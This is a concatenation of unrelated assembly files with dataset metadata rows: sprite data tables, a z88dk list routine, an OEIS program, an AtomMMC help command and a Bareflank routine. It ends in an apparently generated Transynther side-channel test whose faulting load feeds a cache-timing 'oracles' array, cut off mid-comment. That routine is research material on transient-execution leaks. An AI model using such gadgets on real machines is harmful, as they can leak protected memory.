$80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $81, $82, $82, $82, $82, $82, $83, $84, $80, $80, $85, $80, $86, $87, $88, $89, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $8A, $8B, $8C, $8D, $8E, $8F, $90, $91, $92, $93, $89, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $94, $95, $96, $97, $98, $99, $9A, $9B, $89, $9C, $9D, $9E, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $9F, $A0, $A1, $A2, $A3, $A4, $A5, $A6, $A7, $A8, $A9, $AA, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $AB, $89, $89, $AC, $AD, $89, $AE, $AF, $B0, $B1, $82, $B2, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $B3, $B4, $89, $B5, $89, $89, $B6, $B7, $B8, $B9, $BA, $BB, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $80, $BC, $BD, $89, $89, $89, $BE, $89, $89, $BF, $C0, $C1, $C2, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $C3, $80, $80, $C4, $89, $89, $89, $C5, $89, $89, $C6, $C7, $C8, $C9, $CA, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, .face_10 DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $81, $82, $82, $82, $82, $82, $83, $84, $80, $80, $85, $80, $86, $87, $88, $89, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $8A, $8B, $8C, $8D, $8E, $8F, $90, $91, $92, $93, $89, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $94, $95, $96, $97, $98, $99, $9A, $9B, $89, $9C, $9D, $9E, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $9F, $A0, $A1, $A2, $A3, $A4, $A5, $A6, $A7, $A8, $A9, $AA, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $AB, $89, $89, $AC, $AD, $89, $AE, $AF, $B0, $B1, $82, $B2, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $B3, $B4, $89, $B5, $89, $89, $B6, $B7, $B8, $B9, $BA, $BB, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $80, $BC, $BD, $89, $89, $89, $BE, $89, $89, $BF, $C0, $C1, $C2, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $C3, $80, $80, $C4, $C5, $89, $89, $C6, $89, $89, $C7, $C8, $C9, $CA, $CB, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, .face_11 DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $81, $82, $82, $82, $82, $82, $83, $84, $80, $80, $85, $80, $86, $87, $88, $89, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $8A, $8B, $8C, $8D, $8E, $8F, $90, $91, $92, $93, $89, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $94, $95, $96, $97, $98, $99, $9A, $9B, $89, $9C, $9D, $9E, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $9F, $A0, $A1, $A2, $A3, $A4, $A5, $A6, $A7, $A8, $A9, $AA, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $AB, $89, $89, $AC, $AD, $89, $AE, $AF, $B0, $B1, $82, $B2, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $B3, $B4, $89, $B5, $89, $89, $B6, $B7, $B8, $B9, $93, $BA, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $BB, $80, $BC, $BD, $89, $89, $89, $BE, $89, $89, $BF, $C0, $C1, $C2, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $C3, $80, $80, $C4, $C5, $89, $89, $C6, $89, $89, $C7, $80, $C8, $C9, $CA, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, .face_12 DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $81, $82, $82, $82, $82, $82, $83, $84, $80, $80, $85, $80, $86, $87, $88, $89, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $8A, $8B, $8C, $8D, $8E, $8F, $90, $91, $92, $93, $89, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $94, $95, $96, $97, $98, $99, $9A, $9B, $89, $9C, $9D, $9E, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $9F, $A0, $A1, $A2, $A3, $A4, $A5, $A6, $A7, $A8, $A9, $AA, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $AB, $89, $89, $AC, $AD, $89, $AE, $AF, $B0, $B1, $82, $B2, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $B3, $B4, $89, $B5, $89, $89, $B6, $B7, $B8, $B9, $93, $BA, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $BB, $80, $BC, $BD, $89, $89, $89, $BE, $89, $89, $BF, $C0, $C1, $C2, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $C3, $80, $80, $C4, $89, $89, $89, $C5, $89, $89, $C6, $80, $C7, $C8, $C9, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, .face_13 DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
156.97417
167
0.394664
a9bc85cff61acf3ff006872853ce9ff5b5216fc0
332
asm
Assembly
libsrc/_DEVELOPMENT/adt/p_forward_list_alt/c/sdcc_iy/p_forward_list_alt_push_front_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/p_forward_list_alt/c/sdcc_iy/p_forward_list_alt_push_front_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/p_forward_list_alt/c/sdcc_iy/p_forward_list_alt_push_front_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; void p_forward_list_alt_push_front_callee(p_forward_list_alt_t *list, void *item) SECTION code_adt_p_forward_list_alt PUBLIC _p_forward_list_alt_push_front_callee _p_forward_list_alt_push_front_callee: pop af pop bc pop de push af INCLUDE "adt/p_forward_list_alt/z80/asm_p_forward_list_alt_push_front.asm"
20.75
83
0.825301
132eb032fedf188e4eec12ddbf8f0cbcf0efc3ba
662
asm
Assembly
oeis/047/A047780.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/047/A047780.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/047/A047780.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A047780: Number of inequivalent ways to color faces of a cube using at most n colors. ; 0,1,10,57,240,800,2226,5390,11712,23355,43450,76351,127920,205842,319970,482700,709376,1018725,1433322,1980085,2690800,3602676,4758930,6209402,8011200,10229375,12937626,16219035,20166832,24885190,30490050,37109976,44887040,53977737,64553930,76803825,90932976,107165320,125744242,146933670,171019200,198309251,229136250,263857847,302858160,346549050,395371426,449796580,510327552,577500525,651886250,734091501,824760560,924576732,1034263890,1154588050,1286358976,1430431815,1587708762,1759140755 mov $2,$0 pow $2,2 add $0,$2 pow $0,2 mov $3,$2 bin $3,3 add $0,$3 div $0,4
55.166667
496
0.820242
cd4d58e9c0cc90e4ccf17deaecbc2219980e58d8
1,067
asm
Assembly
software/atommc2/help.asm
AtomicRoland/AtomFpga
200d57d85cb2abf43f80723a78db98a8b21c1d7d
[ "Apache-2.0" ]
25
2015-01-19T20:53:43.000Z
2021-10-04T18:42:06.000Z
software/atommc2/help.asm
AtomicRoland/AtomFpga
200d57d85cb2abf43f80723a78db98a8b21c1d7d
[ "Apache-2.0" ]
2
2019-06-15T17:10:09.000Z
2019-06-15T17:15:35.000Z
software/atommc2/help.asm
AtomicRoland/AtomFpga
200d57d85cb2abf43f80723a78db98a8b21c1d7d
[ "Apache-2.0" ]
12
2015-02-12T14:38:00.000Z
2021-06-09T10:05:34.000Z
;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~;~~ ; ; *HELP ; ; Shows some info ; STARHELP: ldx #0 @vers: lda version,x jsr OSWRCH inx cpx #48 bne @vers jsr OSCRLF jsr STROUT .byte "INTERFACE F/W VERSION " nop FASTCMDI CMD_GET_FW_VER jsr ndotn jsr OSCRLF jsr STROUT .byte "BOOTLOADER VERSION " nop FASTCMDI CMD_GET_BL_VER jsr ndotn jsr OSCRLF ; read and display card type ; jsr STROUT .byte "CARD TYPE: " nop ; lda #CMD_GET_CARD_TYPE SLOWCMDI CMD_GET_CARD_TYPE jsr bittoindex ldy #4 @sctloop: lda cardtypes,x cmp #$20 beq @skipwhite jsr OSWRCH @skipwhite: inx dey bne @sctloop jmp OSCRLF ndotn: pha lsr a lsr a lsr a lsr a jsr $f80b ; print major version lda #'.' jsr OSWRCH pla jmp $f80b ; print minor version
14.616438
85
0.465792
36871bcf5a068f9dbe10a1cec902f4a00c6d16c6
1,893
asm
Assembly
bfruntime/src/pthread/threadcontext.asm
chp-io/hypervisor
7c1dce35e9e54601de1c4655565fde803ab446f0
[ "MIT" ]
5
2020-03-28T18:31:24.000Z
2022-03-16T07:51:29.000Z
bfruntime/src/pthread/threadcontext.asm
chp-io/hypervisor
7c1dce35e9e54601de1c4655565fde803ab446f0
[ "MIT" ]
7
2017-11-07T00:25:25.000Z
2018-02-14T18:37:18.000Z
bfruntime/src/pthread/threadcontext.asm
chp-io/hypervisor
7c1dce35e9e54601de1c4655565fde803ab446f0
[ "MIT" ]
2
2020-05-21T22:57:04.000Z
2020-06-17T15:04:38.000Z
; ; Copyright (C) 2019 Assured Information Security, Inc. ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. bits 64 default rel section .text ; For more information about how these functions work, please see the ; following reference: ; ; https://github.com/Bareflank/hypervisor/issues/213 ; ; Note: If the constants.h file changes, or the thread_context structure ; changes, this code might also have to change as well. global _thread_context_tlsptr:function _thread_context_tlsptr: mov rdx, 0x8000 sub rdx, 0x1 mov rax, rsp mov rcx, rdx not rcx and rax, rcx add rax, rdx sub rax, 24 mov rax, [rax] ret global _thread_context_cpuid:function _thread_context_cpuid: mov rdx, 0x8000 sub rdx, 0x1 mov rax, rsp mov rcx, rdx not rcx and rax, rcx add rax, rdx sub rax, 32 mov rax, [rax] ret
27.042857
80
0.735341
066dcafd62deaacc92f9614727cbd4b39ff57de6
7,716
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_18.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_18.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_18.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %r8 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x9e52, %rdi nop nop nop nop nop add $30152, %r10 movl $0x61626364, (%rdi) add $237, %rdx lea addresses_UC_ht+0x922, %rsi lea addresses_WC_ht+0x1befa, %rdi nop nop nop cmp $52201, %r10 mov $113, %rcx rep movsl nop nop nop nop inc %r15 lea addresses_WC_ht+0x1032c, %rdx nop add $58188, %rsi mov $0x6162636465666768, %r10 movq %r10, %xmm0 vmovups %ymm0, (%rdx) sub %rdi, %rdi lea addresses_A_ht+0x97e2, %r10 nop nop nop xor $47766, %r8 vmovups (%r10), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %r15 nop nop nop nop nop cmp $61377, %rcx lea addresses_A_ht+0xcd22, %r15 nop nop add %rdx, %rdx mov (%r15), %r10w sub %r10, %r10 lea addresses_A_ht+0x15e22, %rcx nop nop and $16969, %rdi mov (%rcx), %r10d nop nop nop nop inc %r10 lea addresses_A_ht+0x4722, %rsi nop nop dec %r10 movb (%rsi), %r15b nop nop nop cmp %rcx, %rcx lea addresses_WT_ht+0x17418, %rsi lea addresses_UC_ht+0x8122, %rdi xor $18615, %rdx mov $111, %rcx rep movsq nop nop nop nop sub $54660, %rsi lea addresses_A_ht+0x1dfaa, %rdi nop nop add $397, %r10 mov $0x6162636465666768, %r15 movq %r15, (%rdi) nop nop nop nop nop inc %rdx lea addresses_UC_ht+0x8722, %rsi lea addresses_UC_ht+0x1ef22, %rdi clflush (%rsi) add %rax, %rax mov $94, %rcx rep movsb nop nop nop inc %r8 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r8 pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r8 push %r9 push %rdi push %rdx push %rsi // Store lea addresses_UC+0x14522, %rdx sub %r9, %r9 movw $0x5152, (%rdx) nop nop nop add $49950, %r13 // Store lea addresses_PSE+0x4322, %r12 clflush (%r12) and $56822, %rsi mov $0x5152535455565758, %rdi movq %rdi, (%r12) nop dec %r12 // Store lea addresses_WC+0x13722, %rdx nop nop nop sub $17527, %r8 mov $0x5152535455565758, %rsi movq %rsi, %xmm3 movups %xmm3, (%rdx) nop xor $40836, %r12 // Load lea addresses_PSE+0x17472, %r12 nop nop nop nop nop and $4920, %rdx mov (%r12), %r9 nop nop nop cmp $62552, %rsi // Store lea addresses_UC+0xdade, %rdi nop nop and $18687, %r9 movw $0x5152, (%rdi) nop nop nop nop nop add %r12, %r12 // Faulty Load lea addresses_PSE+0x1a322, %r9 nop nop nop nop nop cmp %r12, %r12 mov (%r9), %edi lea oracles, %r12 and $0xff, %rdi shlq $12, %rdi mov (%r12,%rdi,1), %rdi pop %rsi pop %rdx pop %rdi pop %r9 pop %r8 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_UC', 'AVXalign': False, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 8}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WC', 'AVXalign': False, 'size': 16}} {'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_UC', 'AVXalign': False, 'size': 2}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}} {'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}, 'OP': 